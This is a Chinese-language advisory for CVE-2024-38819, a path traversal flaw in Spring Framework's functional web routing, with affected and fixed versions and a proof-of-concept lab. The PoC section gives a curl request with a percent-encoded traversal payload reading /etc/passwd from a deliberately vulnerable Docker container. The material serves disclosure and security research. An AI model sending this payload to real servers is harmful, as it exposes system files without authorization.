目录导航
漏洞描述
通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。
这与 CVE-2024-38816 类似,但输入不同。
受影响的 Spring 产品和版本
Spring Framework:
- 5.3.0 – 5.3.40
- 6.0.0 – 6.0.24
- 6.1.0 – 6.1.13
- 较旧的、不受支持的版本也受到影响
修复措施
受影响版本的用户应升级到相应的修复版本。
受影响的版本 | 修复版本 | 可用性 |
---|---|---|
5.3.x | 5.3.41 | 商业的 |
6.0.x | 6.0.25 | 商业的 |
6.1.x | 6.1.14 | 开源软件 |
无需采取进一步的缓解措施。
CVE-2024-38819 POC

执行步骤
- 构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
- 运行容器并向主机公开 8080 端口
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
- 运行以下命令执行PoC并确认漏洞
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,/etc/passwd
则会显示文件的内容。
解释
使用以下代码创建以使用和PathTraversalDemoApplication.java
设置静态文件路由:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
将以下命令添加到 Dockerfile 以创建符号链接:
RUN ln -s /static /app/static/link
创建一个利用百分比编码通过符号链接遍历目录的有效负载。
- 路径:
/static/link/%2e%2e/etc/passwd
使用以下curl
命令执行PoC,验证攻击是否成功:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,/etc/passwd
则会显示文件的内容。
免责声明
此 PoC 仅用于教育和安全研究目的。在实际系统中使用此 PoC 之前,请确保漏洞已修复并且您已获得适当的授权。作者对任何滥用此代码的行为概不负责。